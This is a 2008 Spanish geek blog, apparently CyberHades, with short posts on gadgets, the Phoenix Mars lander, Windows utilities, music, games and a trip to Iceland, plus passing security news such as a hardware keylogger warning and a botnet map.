          Siempre me ha gustado este director, M. Night Shyamalan, sobre todo la película “Señales”, una de mis favoritas.

          Tiene buena pinta, iremos a verla.

          Estreno el viernes 13 de Junio …

          Ya está aquí el iPhone 3G, en España con Movistar, …

          

          http://www.elpais.com/articulo/internet/nuevo/iPhone/sera/3G/barato/estara/Espana/mes/elpeputec/20080609elpepunet_1/Tes

           

          Saldrá a 199$, ya veremos el cambio a euros en su día, exactamente el 11 de julio de 2008.

          Ahora ya iremos pensando en comprarlo, aunque yo prefiero de momento mi:

          Palm Treo 750m con mi MiniSD Wifi ;)

           

          Disección a una HP Color LaserJet 2600n para …

           

          

          Alucinado me he quedado al ver esta espectacular disección a esta fantástica impresora láser color que vale menos de 250€ en el mercado.

          http://www.evilmadscientist.com/article.php/laserjet

          Datos de la impresora: hp Color Laserjet 2600n

          En la introducción comentan que por el precio que tiene, los componentes que pueden sacar son espectaculares como por ejemplo, lásers, elementos alto voltaje, motores, engranajes etc … El objetivo final es desmontarla para poder usar los componentes para otros proyectos.

          Super Mario Kart en 11 kbytes, hecho en JavaScript

          

          http://kotaku.com/5014375/11-kb-super-mario-kart

          Con todos los personajes, con sonido, etc … vaya maravilla.

          Puedes descargarlo de:

          http://www.nihilogic.dk/labs/mariokart/mariokart.js

          y jugar en:

          http://blog.nihilogic.dk/2008/05/javascript-super-mario-kart.html

          Increible …

          Problemas para analizar las muestras recogidas por …

          

          Visto en:

          http://www.sondasespaciales.com/index.php?option=com_content&task=view&id=11116&Itemid=42

          Al parecer la consistencia del suelo marciano es mayor de la esperada, por lo que no pasa por la rejilla preparada para tal efecto en la entrada del horno TEGA de la Phoenix. Para la siguiente muestras comentan que antes intentaran presionar el suelo con el brazo robot para romper en trozos más pequeños la tierra marciana y que quepa sin problemas por el filtro.

          Keycarbon, un capturador de teclado por hardware

          

          Si es que ya no puedes fiarte ni del teclado en sí, antes de teclear nada en un equipo ajeno, mira bien a ver si el adaptador usb no tiene instalado un:

          http://www.thinkgeek.com/gadgets/security/947a/

          Este aparente “adaptador” registra todas las pulsaciones del teclado y las guarda en su memoria de 512Kb, válido para cualquier teclado de ordenador (independiente del sistema operativo).

          Estos de ThinkGeek se salen siempre ;)

          Otro software de auditoría Windows, Secunia PSI

          

          Visto en la fantástica como siempre:

          http://4sysops.com/archives/secunia-personal-network-software-inspector/

          Por una cosa u otra, los usuarios de Windows tienen que estar al día y siempre atentos a cualquier vulnerabilidad del sistema, tanto en el sistema operativo como en software que instalas. Este programa en su versión personal gratuita:

          https://psi.secunia.com/

          hace una auditoría similar al que ya hemos mencionado antes en CyberHades:

          Belarc Advisor

          El Secunia PSI analiza todo tu software instalado y comprueba que lo tienes a la última en parches y actualizaciones, siempre según ellos, respetando tu intimidad …

          Cubeecraft, un poco de manualidades geek

          

          Cómo nos gustan todas las cosas que "huelan" a geek (ya hemos hablado aquí antes de otros recortables), he visto en:

          http://eresungeek.com/blog/los-cubeecraft-munecos-recortables

          http://www.cubeecraft.com/

          Yo no soy precisamente un fiera de las manualidades (aunque tengo un amigo en Cádiz llamado Fran que me supera ;) ), pero esto creo que no es difícil hacerlo.

          Los “cubeecraft” son figuritas de papel o cartón fácilmente montables, ya que según los autores no requieren de pegamento.

          Controla varias subastas a la vez de ebay con …

          

          Para todas las plataformas (con Java), Linux, Mac y Windows.

          http://lifehacker.com/395228/snipe-multiple-ebay-auctions-with-jbidwatcher

          Puedes ir viendo varias pujas a la vez, marcar el precio máximo, pujar más o comprar directamente. Otra opción interesante es que puedes programarlo para que salte justo en el momento oportuno para dar una última puja o anular otras (justo antes de acabar la subasta).

          Descarga:

          http://www.jbidwatcher.com/

          PD: Esto le vendrá bien a mi amigo NOP que está picao con ebay ahora. ;)

          ¿Cuál consume más la PS3, Wii o XBox?

          

          Estaba buscando información sobre el consumo de las consolas, y he encontrado este genial artículo en:

          http://www.xataka.com/2008/06/05-el-consumo-de-las-consolas-wii-xbox-360-y-playstation-3

          Aquí te lo explican perfectamente, de momento, como resúmen, la que menos consume es la Wii y la que más la PS3 (muy cerca la XBox). Con el tema de la subida de la luz y el medio ambiente, no es una mala opción echar un vistazo a estos datos.

          El mejor tobogán de agua del mundo, alucinante

          Está en Eslovenia y tiene hasta un loop y todo XD

          Google anuncia gadgets opensource para Linux

          

           

           

           

          Visto en:

          http://arstechnica.com/news.ars/post/20080605-google-gadgets-open-sourced-for-linux.html

          El enlace explica cómo instalarlos en Gnome.

           

           

           

           

           

           

           

           

          Belarc Advisor, una aplicación que audita tu …

          

          Una potente herramienta que informa de la situación de tu equipo tanto en parches, antivirus, CIS ... y el informe te lo muestra en tu navegador. Parece que la información se mantiene en tu equipo y no se manda a ningún servidor. Freeware.

          http://4sysops.com/archives/belarc-advisor/

          Descarga de la aplicación:

          http://www.belarc.com/Programs/advisor.exe

           

          Godspeed You Black Emperor, otro grupazo

          

          Canción: Flight (Storm)

          Godspeed You Black Emperor

           

          Grupo canadiense de Post Rock, fundado en 1994.

          Web oficial: http://www.brainwashed.com/godspeed/main.html

          Last-fm , red social sobre música

          

          Ayer me dí de alta en lastfm y la verdad es que estoy alucinando. En sólo unas pocas horas he podido encontrar cantidad de grupos con el tipo de música que me gusta, además de otras personas con los mismos gustos que te recomiendan otros grupos, otras personas, etc ... Tiene un buscador donde pones el nombre de un grupo y luego "buscar similares" ... muy bueno. 

          Además hay música que puedes descargarte gratuitamente, noticias de grupos, conciertos, etc ... una maravilla.

          Cómo abrir una línea de comandos donde quieras en …

          Tremendamente útil ya verás.

          SHIFT-DERECHA-click

          Por ejemplo, estás en una carpeta dentro de tu árbol de directorios, y quieres abrirla en modo línea de comandos, simplemente haz SHIFT-DERECHA-click sobre dicha carpeta y aparecerá:

          

          http://lifehacker.com/394991/open-a-command-prompt-anywhere-with-vista

          World of Warcraft: The Wrath of the Lich King ¿en …

          

          Pues eso he visto en la página de Amazon UK:

          http://www.amazon.co.uk/World-Warcraft-Wrath-Lich-Expansion/dp/B000UTOE8A/ref=sr_1_12?ie=UTF8&s=videogames&qid=1212523910&sr=8-12

          “Availability: This item will be released on September 30, 2008 "

          Según esto, saldrá en Septiembre de este año, así que viciosillos del WOW a esperar ;)

          http://www.wow-europe.com/wrath/

          Superordenador con tarjetas gráficas NVIDIA

          

          Pues sí, como comentan en el enlace original:

          http://teleobjetivo.org/blog/superordenador-con-tarjetas-graficas.html

          http://fastra.ua.ac.be/en/index.html

          Nada de ordenador como una habitación, no no, una cajita su fuente Thermaltake y se acabó ;) , comentan que como la potencia equivalente a 300 procesadores Intel Core Duo a 2,4Ghz, cosa que no estoy de acuerdo (si entras en el segundo enlace lo explica mejor). Sí que tiene una potencia espectacular pero ni de asomo a ese nivel. De todas formas es un completo superordenador de sobremesa.

          Impresoras 3D

          Esto no es nuevo, de hecho estuvimos viendo una NOP, DuenD y yo (ah y nuestro inseparable devorador de menus SIMO Eugene) en el SIMO ‘07 y nos quedamos bastante impresionados por la calidad del producto resultante (y la definición de detalles). Os paso este video de youtube donde aparece la impresora que vimos en el SIMO sacando algunos ejemplos:

          CONTEX Z450 3D printer

          Las posibilidades son infinitas … a ver a ver, colección de mis figuras de Nintendo, naves espaciales de Star Wars, etc … ;)

          MITOPENSOURCEWARE, o cursos gratuitos de …

          

          MIT

          Visto en:

          http://www.soygeek.com/index.php/2008/05/29/universidad-open-source/

          Enlace del contenido:

          http://ocw.mit.edu/OcwWeb/web/courses/courses/index.htm

          Impresionante colección de cursos sobre ciencia, sociedad, política, música …

          Comunidad de videos hacker, modding y underground

          

          En esta dirección:

          www.veryangrytoad.com

          Sitio UNDERGROUND de calidad (ojo, siempre alerta en este tipo de portales), con videos sobre hacking, hardware hacking, troyanos, exploits, vamos de todo … lo original es que son videos explicando paso a paso cada cosa. El único problema es que para ver los videos tienes que registrarte (creo que la primera vez no te lo pide).

          Parece que hemos encontrado lo que veníamos a …

          

          Estamos muy cerca de uno de los descubrimientos científicos más grandes de la historia.

          SondasEspaciales

          La sonda Phoenix ha caido en mejor lugar posible, en esta imágen, puedes ver HIELO debajo de la nave. Perfecto para el brazo robot que pronto se desplegará. De paso, los propulsores de la nave han despejado algunas capas de sustrato, con lo cual la profundidad de análisis del brazo será mayor.

          De momento, todo marcha bien (y que dure).

          Album de Flickr, Islandia (paisajes)

          

          Bueno tenía mi cuenta de Flickr bastante abandonada, así que ahora la usaré siempre para postear fotos del blog y evitar el hotlink (perdón por los que he puesto).

          De momento, más fotos sobre nuestro viaje a Islandia, espero que os guste.

          He creado en la barra de la derecha una entrada directa al álbum, también puedes usar este enlace:

          http://www.flickr.com/photos/25379671@N02/sets/72157605348947070/

          Ya iré creando otros álbunes.

          Funcionamiento de los data center de Google, una …

          

          Google data center, circa 2000. Atentos al ventilador en el suelo XD.

          (Credit: Stephen Shankland-CNET News.com/Jeff Dean-Google)

          Excelente artículo visto en:

          http://news.cnet.com/8301-10784_3-9955184-7.html?tag=nefd.lede

          Vamos a ver por encima de qué trata exactamente (los data center de Google son de los más secretos del mundo y de los que menos sabemos):

          Es una entrevista a Jeff Dean de Google, donde al final desmitifica un poco el tema de los data center. Al final concluye (con un toque sarcástico) que usan lo de siempre, servidores normales, procesadores, discos duros, etc … Google no revela cuando servidores tiene, pero se estiman cientos incluso miles, lo que si ha revelado es que Google tiene 36 data centers alrededor del mundo, con 150 racks por center, eso sale 200.000 servidores y creciendo.

          Herramienta para registrar librerías (DLL, OCX, …

          
          Actualmente siempre lo había hecho de la siguiente manera:
          Regsvr32 [/u] [/s] fichero

          (/u para “desregistrarla” /s para hacerlo sin mensajes, modo silencioso)

          Pero he visto en 4sysops:

          http://4sysops.com/archives/emsa-register-dll-tool-register-programs-with-a-gui/

          Una aplicación llamada EMSA Register DLL Tool

          Algunas ventajas, interfaz gráfico, algunas herramientas extras como por ejemplo comparar ActiveX, free, y funciona bajo Windows XP y Windows Vista.

          Phoenix se prepara para excavar

          

          http://www.sondasespaciales.com/index.php?option=com_content&task=view&id=11092&Itemid=42

          Avance del nuevo disco de Sigur Rós

          

          LLamado:

          “með suð í eyrum við spilum endalaust”

          Saldrá al mercado el 23 de junio.

          Puedes ver y oir la primera canción publicada en:

          http://www.sigurros.com/dvd3.asp

           (C) Sigur Rós

          ¡Killer Tux!

          Visto en Think Ubuntu ;)

          Seguimos con los discos usb, 10 trucos desde …

          

          Interesante artículo, muy recomendable para ampliar nuestro vistazo a los dicos usb, visto en:

          http://lifehacker.com/software/lifehacker-top-10/lh-top-10-usb-thumb-drive-tricks-255738.php

          1 ) Hazlo “bootable” (con arranque)

          2 ) Encríptalo

          3 ) Hazlo reproductor portable MP3

          4 ) Acelera o bloquea tu Windows Vista

          5 ) Nunca lo olvides

          6 ) Lanza rápidamente tu entorno de trabajo

          7 ) Monta un kit de reparación de emergencias

          8 ) Pon el Democrakey “computer condom” ;) o sea, lo que hablamos en el anterior post “PortableApps”

          Portable Apps, colección de aplicaciones en tu …

          www.portableapps.com

          Además de tener tu flamante disco usb de 4Gb o más para almacenar datos, puedes instalar también esta fantástica suite de aplicaciones totalmente Open Source en el mismo (es un lanzador de aplicaciones directamente desde el usb) . Cuando introduzcas tu disco usb en cualquier ordenador, tendrás además de tus datos personales, una serie de aplicaciones que se ejecutarán desde el disco sin tocar para nada el ordenador anfitrión. Perfecto para cuando estás de viaje o no llevas tu ordenador personal.

          Ya está aquí el nuevo iJam 5js ... y déjate de …

          

          Información suministrada por nuestro colaborador Manolo:

          http://www.ijam.es/

          Juas Juas, no te olvides de hacer la visita guiada y los periféricos XD (que bueno dios mio).

          Para reirte un poco, el record más bajo del …

          Samsung anuncia un disco de 256 Gb SSD realmente …

          

          Visto en:

          http://www.engadget.com/2008/05/25/samsung-announces-crazy-fast-256gb-ssd-our-knees-buckle/

          La unidad MLC-flash SATA II  tiene una velocidad de 200 Mb/s en lectura y 160 Mb/s en escritura secuencial ( alucinante). Disponible en Septiembre en una versión de 1,8 pulgadas.

          Está ocurriendo una revolución total en los discos "duros" con esta tecnología de Unidades de Estado Sólido (SSD) que sustituyen al famoso plato giratorio y los motores, con lo cual obtenemos mayor rapidez, menor consumo y menos errores al no tener componentes mecánicos:

          "¡¡Phoenix ha aterrizado!!, ¡¡Phoenix ha …

          Esto gritaba el comentarista Richard Kornfeld, éxito total en el aterrizaje de la sonda Phoenix, seguimiento en directo desde SondasEspaciales:

          http://www.sondasespaciales.com/index.php?option=com_content&task=view&id=11083&Itemid=42

          Foto del primer horizonte del polo norte marciano:

          

          Vamos a ver que sorpresa nos depara, recuerda que la principal misión de esta sonda es encontrar vida en Marte, nunca se había puesto tanto empeño en una sonda para esta búsqueda.

          Os tendremos al día gracias a SondasEspaciales.

          La sonda Phoenix aterriza hoy en Marte

          

          Hora española: Domingo 25 de mayo, a las 23:53:52

          Otros paises

          La fantástica página SondasEspaciales, ofrece un despliege fenomenal para poder seguir incluso en directo el aterrizaje de la sonda Phoenix en el Polo Norte de Marte. La diferencia fundamental con otras misiones como la Spirit o la Opportunity (que realmente hacían el papel de geólogos), es que no tiene ruedas por lo que no se puede desplazar. Pero a cambio, posee dos laboratorios químicos muy avanzados así como un brazo robot capaz de llegar a 50 cm de profunidad del suelo marciano. Otra característica interesante es que no aterrizará como las otras sondas, usando esos globos para amortiguar el golpe e ir rebotando por la superifice, sino que usará retropropulsores para ir descendiendo poco a poco sobre el suelo marciano, al estilo Viking.

          Vamos a por el agua marciana …

          Cómo solucionar el problema de ver videos …

          

          Visto en:

          http://www.ubuntu-es.org/index.php?q=node/77258#comment-210880

          Si tienes este problema con tu navegador Firefox (cómo por ejemplo yo mismo los he tenido), puedes hacer lo siguiente para solucionarlo (en Linux):

          1. En Sistema, Administración, Gestor de Paquetes Synaptic

          2. Busca “ubufox” y con el botón derecho selecciona “Marcar para desinstalar”

          3. lo mismo con “gnash” y “flash .. " (el que veas que empieza por flash)

          4. Una vez desinstalado, en la página de youtube te dirá que tienes que instalar un componente flash para verlos.

             Algunas fotos de nuestro viaje a Islandia ...

             Sólo algunos paisajes, ya iré subiendo alguno más.

             También lo subiré mi página de Flicker y os pondré el enlace para que lo veáis con más calidad.

             Espero que os guste.

             Actualización: He creado mejor una galería con las fotos (por problemas con el navegador Firefox), puedes verlo en la barra de la derecha del Blog junto a las Imágenes.

             Todos los "fatalities" de Mortal Combat

             Visto en la fantástica página PixelyDixel:

               http://www.pixelydixel.com/2008/05/todos-los-fatality-de-mortal-kombat.html

              

             Mortal Combat

             Fedora 9, tu escritorio Linux en un disco usb

             

             Visto en:

             http://lifehacker.com/391067/fedora-9-puts-your-desktop-on-a-usb-drive

             Ya sabemos que existen muchas aplicaciones que permiten crear discos usb que arranca con una edición “live” tanto de Linux como de XP.

             La razón de comentar esta versión de Fedora es básicamente porque es una de las que más nos gustan (junto con Ubuntu) y porque esta opción viene ya incluida como una opción más a la hora de instalarlo. De todas formas en este enlace puedes encontrar directamente la aplicación que lo realiza “Fedora’s live usb-creator” (desde Windows)

             La tarjeta gráfica de hardware y código abierto, …

             

             Visto en:

             http://barrapunto.com/articles/08/05/23/2044214.shtml

             http://www.abadiadigital.com/noticia3108.html

             Tarjeta con código libre y hardware libre, estas son las características:

             Nombre del proyecto OGD1,  FPGA Xilinx Spartan-3 XC3S4000, 256 MB de DDR400, 2 DVI, salida S-Video y un conector PCI-X de 64 bits.

             Empieza el juego ;)

             PD: Actualización, precio 1.500 doláres y ya está agotada.

             El Bar de Giger

             

             Está en Gruyere, Suiza.

             Sobre H.R. Giger:

             http://en.wikipedia.org/wiki/H.R._Giger

             ¿Qué tiene que anunciar la NASA?, desvelado

             

             ¿Te acuerdas de este anuncio de la NASA?

             http://www.cyberhades.com/?p=349

             Pues nada, un poco decepcionado, este es el comunicado, puedes verlo en:

             http://www.cienciakanija.com/2008/05/14/el-decepcionante-anuncio-de-la-nasa/

             Resumiendo, se trata de los restos de la supernova más jóven de nuestra Galaxia … ¿? ni agujeros negros, ni materia oscura, ni señales de otras civilizaciones … ¿para esto tanto bombo? 

             "Gears Of War 2" unos minutos ... impresionante

             

             Gears of War

             Gears of War 2

             "Google Maps" de mapas históricos

             

             Visto en:

             http://cgredan.blogspot.com/search?updated-max=2008-05-15T14%3A06%3A00%2B02%3A00&max-results=10

             Impresionante colección de mapas principalmente de los siglos XVIII y XIX (unos 17.500). Puedes incluso descargarte un fichero para incorporarlo al Google Earth.

             Enlace principal a la página con los mapas:

             http://rumsey.geogarage.com/index.html

             El único motivo para salir con un geek

              

             

             visto en:

             http://meneame.net/story/unico-motivo-friqui-para-tener-novia-mes-dilbert-eng  

             Detenidos cinco "hackers" (otra vez usando mal …

             

             Eran según la fuente de noticias, el quinto grupo de CRACKERS más buscados en el mundo.

             http://www.europapress.es/nacional/noticia-policia-nacional-detiene-cinco-hackers-mas-activos-internet-atacado-mas-21000-paginas-20080517093405.html

             Click aquí para saber lo que es un HACKER.

             "Ultima Thule" nuestro viaje por Islandia

              

             Pues eso amigos, hemos estado toda la semana pasada recorriendo la “Ultima Thule” o Islandia , y sólo puedo decir que ha sido INCREIBLE.  

             Ver mapa más grande

              Estoy preparando toda la documentación del viaje (así cómo algunas fotos) para todos aquellos que os animéis a ir, para que al menos tengáis una referencia.

             Sólo adenlantaros que hemos recorrido en coche prácticamente toda la isla para terminar 2 días en la capital, Reikiavik. Hemos llegado hasta Akureyri en coche y luego un avión hasta la capital.

             El sabelotodo

             ¿Eres de los que usa internet para preparar tu tarta de cumpleaños o para buscar un tutorial de albañileria?

             Entonces quizas encuentres útil esta web:

             http://www.sabelotodo.org

             Pausa en CyberHades ...

             Pues eso, nada más comentaros que a partir de hoy y toda la semana que viene posiblemente no pueda publicar con la misma frecuencia que ahora en el blog (a ver si mis amigos DuenD, MacPherson, NOP, Molotok y danielb se animan) …

             Ya os contaré ;)

             Cómo saber si tu ISP bloquea tráfico BitTorrent

             

             La aplicacion Glasnost simula descargas BitTorrent en el ordenador para determinar de una vez por todas si tu ISP está bloqueando este tipo de tráfico. ¿Cómo funciona? pues midiendo la diferencia entre tus descargas regulares habituales y la velocidad de descarga BitTorrent, probándolo en diferentes puertos.

             Visto en:

             http://lifehacker.com/388097/determine-if-your-isp-is-throttling-your-bittorrent-traffic

             ¿Y cómo lo evitamos? … eso es otra historia:

             http://lifehacker.com/software/bittorrent/stop-your-isp-from-throttling-bittorrent-speeds-295995.php

             ¿Qué tiene que anunciar la NASA?

             

             Vaya, he visto en:

             http://meneame.net/story/que-ha-descubierto-la-nasa-en

             Un enlace a un comunicado de la NASA anunciando un descubrimiento de un objeto que llevaban 50 años buscándolo … el día 14 de mayo lo sabremos … inquietante ;)

             http://www.nasa.gov/news/media/newsaudio/index.html

             Apariencia de una "BotNet"

             

             Visto en:

             http://it.slashdot.org/article.pl?no_d2=1&sid=08/05/08/1632258

             http://www.csoonline.com/article/348317/What_a_Botnet_Looks_Like

             Un gráfico interactivo donde puedes ver las interconexiones entre los ordenadores infectados y el comando y control de los sistemas botnet que lo controlan. Mapa basado en un trabajo realizado por David Voreland, donde puedes hacer zoom y explorar las botnets viendo como funcionan entre ellas (o dentro de su red). Puedes ver nuestro artículo también sobre botnets:

             Editor "vi" online y una lista de los mejores …

             

             Pues sí, para aquellos que no podáis vivir sin escribir en "vi" (cómo nuestro amigo DuenD), este enlace con una aplicación llamada jsvi bastante chula, un editor "online" como vi:

             http://lifehacker.com/388440/jsvi-is-an-online-vi-editor

             En el artículo también se menciona este enlace:

             http://lifehacker.com/385929/best-text-editors

             Donde aparecen una lista de los mejores editores de texto (gratuitos y alguno shareware) para cualquier propósito (programación, organización, documentos, etc …):

             1. Notepad++ (Windows) (gratuito)

                "Soundclick" una comunidad de artistas musicales …

                

                Vamos a explorar algunas páginas con música libre, sólo con licencia "Creative Commons".

                Empezaremos por:

                http://www.soundclick.com/

                Puedes descargarte MP3’s de prácticamente todos los géneros y estilos. También incluye listas “top” con los más descargados, escuchados, etc … con una calidad impresionante. Necesitas registrarte para poder descargar los ficheros de audio.

                Te recomiendo un paseo por las fantásticas páginas de géneros, pero especialmente si te gusta la música electrónica ambient, escucha las canciones de estos dos grupos (de todas formas todos son fantásticos):

                La torre de piezas de Lego más alta

                http://forevergeek.com/games/the_tallest_lego_tower.php

                

                30 metros de altura.

                "Fuera de Órbita", episodio 35, homenaje a Arthur …

                

                Homenaje en este número 35 del fantástico podcast de ciencia ficción "Fuera de órbita" a nuestro querido Arthur C. Clark:

                http://fueraorbita.blogspot.com/

                Fantásticos los enlaces suministrados, entre los que destaco este fantástico documental sobre Arthur C. Clark:

                Y este enlace donde explican la película “2001 Una odisea en el Espacio”:

                http://es.kubrick2001.com/

                Y también este sobre las predicciones desde el 2001 al 2100 de Arthur C. Clark:

                Datos recuperados de un disco duro del "Columbia"

                Todos recordamos la tragedia del transbordador espacial "Columbia", pues ahora se han recuperado 400Mb en un disco que apareció entre los escombros del aparato. Gracias a él se han podido completar unos experimentos de física realizados durante la misión espacial. Se ha recuperado el 99% del contenido del disco.

                Como lo denominan en el enlace original, "la recuperación de datos más fantástica realizada nunca", fijáos en estado del disco:

                

                Starship Dimensions, mi nave espacial es más …

                

                ya pusimos una entrada con un poster con comparativas de naves espaciales:

                http://www.cyberhades.com/?p=32

                Pero ahora hemos encontrado esta impresionante web donde puedes ver a diferentes escalas, una comparativa de las naves espaciales más comunes de la ciencia ficción pero con más detalle que el poster de nuestra entrada. No sólo de naves, también de humanoides ¿es más alto E.T. que R2D2? … en esta página encontrarás la respuesta:

                Cómo construir tu propio robot en 2 horas

                 

                

                http://letsmakerobots.com/node/17

                Lección paso a paso para construir este robot:

                Prueba los enlaces que aparecen dentro de la página, son también muy interesantes.

                Ya no tienes excusa para tener un robot en casa … ;)

                El regreso de "Alien 8"

                Vaya tiempos y qué partidas me he echado yo en mis tiempos mozos a este juego en mi spectrum:

                

                Alien 8

                Este es un enlace al mapa completo del juego (que tenía forma de nave):

                http://www.nvg.ntnu.no/bbc/sw/Ultimate/Alien8-map.jpg

                Y este es el look del nuevo juego:

                

                 

                Pues ahora ha salido un remake para Windows realizado por David Olias Suárez e Ignacio Pérez Gil, visto originalmente en:

                Tesla Motors, coches 100% eléctricos, ya a la …

                

                No conocía esta empresa "Tesla Motors", he visto una entrada en:

                http://teleobjetivo.org/blog/un-deportivo-electrico.html

                Parece que ya están a punto de sacar a la venta un deportivo con un look espectacular, 100 % eléctrico, 13.000 rpm, recorre 354 km por carga, menos de 2 centavos por milla, todo por 109.000 dólares:

                

                 

                Foto del Tesla Roadster.

                http://www.teslamotors.com/index.php

                 

                Viendo el sonido

                Visto en:

                http://cgredan.blogspot.com/2008/04/viendo-el-sonido.html

                Impresionante video:

                 

                "Teenage Mutant Brother Agents" ... que bueno

                

                Prepárate a reirte un rato (ya lleva tiempo pero tenía que ponerlo en el blog):

                 Spinoff de “Cálico Electrónico”, impresionantes, sobre todo Alarico ;)

                http://www.calicoelectronico.com/

                "El Tamiz", podcast excelente de divulgación …

                

                He descubierto este magnífico podcast a través de nuestros amigos del "Geek Errante" (por cierto, tenemos mono ¿para cuando un nuevo episodio?). No es sólo un podcast, también recomiendo el blog para estar al día en noticias sobre ciencia. Muy ameno y muy bien explicados todos los temas, desde el Universo, a medicina, etc... ciencia en general.

                El podcast está realizado por Pedro Gómez-Esteban y Geli Crick.

                http://eltamiz.com/

                Los gadgets raros más buscados entre los geeks …

                 

                Bonita colección para cualquiera de nosotros, pero algunos de los objetos son imposibles de obtener por su precio:

                http://www.wired.com/gadgets/miscellaneous/multimedia/2008/05/gallery_rare_gadgets

                Vamos a ver la lista de estos 10 objetos tan codiciados:

                 

                1) La máquina calculadora de bolsillo mecánica más pequeña: diseñada por un prisionero austriaco duranta la segunda guerra mundial, este objeto parece la calculadora mecánica más pura y pequeña de la Tierra. Hecha de más de 700 piezas de metal, casi todos los cálculos son posibles de realizar.

                http://www.wired.com/gadgets/miscellaneous/multimedia/2008/05/gallery_rare_gadgets?slide=1&slideView=3

                

                 

                "Alien Planet" documental sobre la visita a un …

                

                Estaba buscando hace tiempo este documental (no es nuevo, es de 2005), lo he encontrado en:

                http://www.enderra.com/blog/article/alien-planet

                 

                 Aquí puedes verlo completo en inglés . Es un documental sobre una hipotética visita de una nave envidada por nosotros a un planeta alienígena lleno de vida. Lo curioso es que está hecho basándose en estudios científicos serios, suponiendo la composición de las formas de vida basada en otros elementos, la gravedad, etc …

                Video de la máquina diferencial de Babbage …

                

                Para saber más sobre esta maravilla de la técnica creada por el padre la informática:

                http://es.wikipedia.org/wiki/Charles_Babbage

                http://blog.wired.com/gadgets/2008/05/exclusive-video.html

                http://www.microsiervos.com/archivo/ordenadores/maquina-diferencia-babbage-en-accion.html

                Babbage completó los planos en 1849, pero con sus más de 8.000 partes diferentes no fue posible construirla en su época. Pero ahora, entre el Museo de Historia de la Computación de California y como no, con la ayuda generosa de un mecenas de Microsoft, Nathan Myhrvold, la máquina de Babbage se ha podido completar y comprobar que efectivamente, funciona.

                Windows SysInternals, recopilación de herramientas …

                

                Ya hemos hablado de algún componente como aquí:

                http://www.cyberhades.com/?p=260

                Pero es sólo una parte de una gran colección de herramientas útiles para llevar mejor el día a día con nuestro XP y Vista. Entre otras, hay aplicaciones para controlar el espacio y el uso de los ficheros, de seguridad, de redes, etc …

                Puedes verlas todas en:

                http://technet.microsoft.com/en-us/sysinternals/default.aspx?PHPSESSID=9692e65a5ee7da54b8d439d907f7965b

                Iremos hablando de ellas a medida que las vayamos probando.

                MagnaVox Odissey vs PS3

                

                Visto en:

                http://www.pixelydixel.com/2008/04/magnavox-odyssey.html

                Echa un vistazo a este magnífico blog si quieres saber más sobre la consola.

                Este es el trailer original de la MagnaVox Odissey:

                Y este sobre la PS3:

                 

                 ¿Cómo serán las siguientes?

                PAC-MAN, la aventura gráfica XD

                

                He visto en este fantástico blog “Un gaditano en silicon valley”:

                http://folksonomy.com/pacman-esa-aventura-conversacional/

                Pues sí, el pac-man en aventura conversacional XD toma ya:

                http://pac-txt.com/

                Y empieza así: " Te despiertas en un gran complejo, un poco desorientado. Unos puntos centelleantes a la altura de boca están cerca tí por todas partes. … "

                Cómo dice el autor del blog, sin palabras …

                "El Hobbit", algunos datos sobre las películas

                

                Pues sí, ya está confirmado que "El Hobbit" :

                1. Será dirigido por el grandioso y fantástico Guillermo del Toro (gracias dioses, sólo él podría hacerlo mejor que Peter Jackson)

                2. Sir Ian Mckellen, pues sí, el actor que protagoniza a Gandalf, repite reparto … genial

                3. Serán dos películas, una en 2010 y otra en 2011

                4) La primera película tratará sobre el libro completo del “El Hobbit”

                5. La segunda, tratará sobre los hechos que ocurren en los 60 años entre El Hobbit y El Señor de los Anillos

                Pues nada, vamos a esperar todos ansiosos, de momento, a leer de nuevo la novela. 

                USB-to-SATA, RAID 1 externo en formato slim

                

                Buena solución externa para almacenamiento en RAID 1 (y elegante también):

                http://www.engadget.com/2008/05/01/acards-dual-2-5-inch-raid-enclosure-is-slim-hungry-for-power/

                Utiliza discos dos discos duros SATA que pueden ser usados como RAID o como discos separados.

                La única pega, necesitan alimentación externa.

                (In)secure: estupenda revista gratuita sobre …

                

                Puedes descargarla gratuitamente en:

                http://www.net-security.org/insecuremag.php

                Con todo tipo de información relacionada con la seguridad en IT, en formato PDF lista para imprimir o leer en tu PDA.

                En el número 16, disponible para descarga puedes encontrar entre otros:

                • Políticas de seguridad para Mundos Virtuales

                * Elecciones en USA y el cibercrimen

                * Usando análisis de paquetes para encontrar errores en la red

                * La efectividad en la industria de los certificados

                Picartia: para generar mosáicos de imágenes

                

                He visto en este estupendo blog:

                http://www.puntogeek.com/2008/04/29/genera-un-mosaico-con-pequenas-imagenes-gracias-a-picartia/

                Una aplicación que tenía ganas de encontrar. Es un software para crear una imágen pero compuesta de otras más pequeñas estilo:

                http://www.worldofwarcraft.com/downloads/wallpapers/images/mosaic/mosaic-1024x.jpg

                http://www.socialshots.com/files/images/halo-3-helmet-mosaic.preview.jpg

                 

                Aqui puedes acceder a la aplicación:

                http://www.picartia.com/

                Gracias a puntogeek por la información :)

                CCleaner: software para limpiar Windows de …

                

                Este software elimina por ejemplo ficheros de log, cookies, volcados de memoria y otros.

                http://lifehacker.com/384990/ccleaner-20-decrapifies-your-pc

                http://www.ccleaner.com/

                Otra utilidad más para nuestra colección.

                 

                Hoja de Referencia de Ubuntu, esta no la teníamos

                

                Siguiendo con nuestra colección de hojas de referencia, puedes verla en este magnífico blog:

                http://altaresolucion.es/2008/04/24/hoja-de-referencia-ubuntu/

                Pues nada para la colección.

                La India pone en órbita 10 satélites de una tacada …

                

                La India ha batido un record lanzando 10 satélites de una vez usando el "Polar Satellite Launch Vehicle" (PSLV), en su lanzamiento número 12. Todos con éxito en sus respectivas órbitas. Sólo dos de los satélites eran indios, el resto eran de otros países. Esto lanza a la India como potencia mundial en la puesta en órbita de satélites espaciales junto a USA y Europa (ESA).

                http://science.slashdot.org/article.pl?no_d2=1&sid=08/04/28/1311213

                Un reloj de 300.000 doláres que no muestra la hora …

                

                Si es que no nos cansamos de decir que hay gente para todo:

                http://www.neatorama.com/2008/04/27/300000-watch-that-doesnt-tell-the-time/

                http://www.gizmodo.es/2008/04/07/daynight_watch_no_te_da_la_hora_por_que_demonios_lo_llaman_reloj.html

                Está hecho con piezas del armazón de acero oxidado del Titánic y lo más curioso, no da la hora, sólo te dice si es de día o de noche XD

                Cuando hacerlos volar ya no es suficiente ...

                

                Otro aparatito para comprar, visto en:

                http://forevergeek.com/games/when_flying_aint_enough.php

                Pero lo venden en:

                http://www.thinkgeek.com/geektoys/rc/a377/

                Por 49,99 $

                Además de volar con ellos, puedes disparar al contrario con un sensor de luz que al hacer impacto, derriba al oponente XD. El primer impacto lo hace girar y el segundo lo derriba … yo quiero uno …

